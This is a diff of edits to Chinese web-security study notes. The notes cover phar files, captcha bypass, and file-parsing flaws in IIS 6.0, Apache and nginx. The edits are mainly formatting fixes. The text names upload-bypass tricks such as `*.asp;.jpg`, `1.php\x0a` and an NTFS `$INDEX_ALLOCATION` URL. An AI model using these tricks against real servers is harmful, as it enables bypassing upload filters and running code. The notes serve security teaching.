可以理解为一个标志,格式为`xxx<?php xxx; __HALT_COMPILER();?>`,前面内容不限,但必须以`__HALT_COMPILER();?>`来结尾,否则phar扩展将无法识别这个文件为phar文件。
|
可以理解为一个标志,格式为`xxx<?php xxx; __HALT_COMPILER();?>`,前面内容不限,但必须以`__HALT_COMPILER();?>`来结尾,否则phar扩展将无法识别这个文件为phar文件。
|
||||||
|
|
||||||
**a manifest describing the contents**
|
**a manifest describing the contents**
|
||||||
|
|
||||||
|
|||||||
BIN
02.WEB安全/13.不安全的反序列化/image-20251009151234594.png
Normal file
BIN
02.WEB安全/13.不安全的反序列化/image-20251009151234594.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 29 KiB |
@@ -108,7 +108,7 @@ High:dvwaSession 是经过 md5 加密的,但是过于简单可被破解
|
|||||||

|

|
||||||
|
|
||||||
- 直接删除掉 JS 代码或者禁用 JS
|
- 直接删除掉 JS 代码或者禁用 JS
|
||||||
-
|
- 修改前端JS逻辑,让验证码校验失效
|
||||||
|
|
||||||
###### 2.2.2.1.2 **图形验证码可识别**
|
###### 2.2.2.1.2 **图形验证码可识别**
|
||||||
|
|
||||||
|
|||||||
@@ -37,8 +37,8 @@ IIS是Internet Information Services的缩写,意为互联网信息服务,是
|
|||||||
|
|
||||||
#### 2.1.1 6.0
|
#### 2.1.1 6.0
|
||||||
|
|
||||||
基于文件名:该版本默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。
|
基于文件名:该版本默认会将`*.asp;.jpg`此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。
|
||||||
基于文件夹名:该版本默认会将*.asp/目录下的所有文件当成Asp解析。
|
基于文件夹名:该版本默认会将`*.asp/`目录下的所有文件当成Asp解析。
|
||||||
IIS6.0需要在虚拟机中安装windows server 2003系统,并且需要开启asp服务
|
IIS6.0需要在虚拟机中安装windows server 2003系统,并且需要开启asp服务
|
||||||
windows server 2003虚拟机下载地址:链接:[https://pan.baidu.com/s/141yS7FHQLj3Z_BGTXSFwWg?pwd=6666](https://pan.baidu.com/s/141yS7FHQLj3Z_BGTXSFwWg?pwd=6666)
|
windows server 2003虚拟机下载地址:链接:[https://pan.baidu.com/s/141yS7FHQLj3Z_BGTXSFwWg?pwd=6666](https://pan.baidu.com/s/141yS7FHQLj3Z_BGTXSFwWg?pwd=6666)
|
||||||
|
|
||||||
@@ -408,7 +408,7 @@ http://192.168.173.130/admin:$i30:$INDEX_ALLOCATION/index.php
|
|||||||
|
|
||||||
## 3. Apache
|
## 3. Apache
|
||||||
|
|
||||||
Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
|
Apache 是世界使用排名第二的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
|
||||||
|
|
||||||
### 3.1 未知扩展名解析漏洞
|
### 3.1 未知扩展名解析漏洞
|
||||||
|
|
||||||
@@ -542,7 +542,7 @@ usbwebserver 中
|
|||||||
#### 3.4.1 漏洞描述
|
#### 3.4.1 漏洞描述
|
||||||
|
|
||||||
Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0a 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
|
Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0a 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
|
||||||
可以看到这里获取文件名是需要单独 post 一个 name 的,因为如果通过 $_FILES['file']['name'] 获取文件名的话,会把 \x0a 自动去除,所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成这个漏洞
|
可以看到这里获取文件名是需要单独 post 一个 name 的,因为如果通过 `$_FILES['file']['name']` 获取文件名的话,会把 \x0a 自动去除,所以` $_FILES['file']['name']` 这种方式获取文件名就不会造成这个漏洞
|
||||||
|
|
||||||
#### 3.4.2 影响范围
|
#### 3.4.2 影响范围
|
||||||
|
|
||||||
@@ -646,7 +646,7 @@ return 302 https://$host$uri;
|
|||||||
|
|
||||||
#### 4.4.1 漏洞描述
|
#### 4.4.1 漏洞描述
|
||||||
|
|
||||||
这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,此漏洞可 致目录跨越及代码执行,其影响版本为:nginx 0.8.41 – 1.5.6
|
这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,此漏洞可导致目录跨越及代码执行,其影响版本为:nginx 0.8.41 – 1.5.6
|
||||||
|
|
||||||
#### 4.4.2 漏洞复现
|
#### 4.4.2 漏洞复现
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user